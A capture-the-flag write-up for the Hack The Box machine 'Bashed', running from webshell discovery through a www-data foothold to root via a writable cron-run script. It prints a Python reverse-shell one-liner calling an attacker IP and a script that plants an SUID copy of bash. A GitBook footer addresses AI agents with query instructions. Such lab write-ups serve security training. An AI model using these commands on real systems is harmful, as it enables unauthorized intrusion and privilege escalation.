> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-bashed.md).
# HTB - Bashed
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
```
### HTTP
clicking on php bash redirects to the below git repo.
{% embed url="" %}
directory search revealed a uploads directory, Also accessing the php directory displays a send mail php file.
Also accessing the dev directory reveals the php bash files.
Clicking on the phpbash i can access the webshell
## Shell as www-data
use the below command to get reverse shell
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
```
upgrade the shell
```bash
www-data@bashed:/home$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/home$ export TERM=xterm
export TERM=xterm
www-data@bashed:/home$
```
www-data can run any command as scriptmanager without password.
that said will get access as scriptmanager.
## Shell as scriptmanager
There is a scripts directory in the root that can only be accessed by script manager.
the script open test.txt which owned by root and puts testing 123 since the script can be edited by scriptmanager i can manipulate the file to give root access.
timestamp of the test.txt is changed every second that means there is a cron that is actually processing it.
```bash
cat > test.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/rootbash")
os.system("chmod +xs /tmp/rootbash")
EOF
```
successful got the suid bit on the rootbash.
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-bashed.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
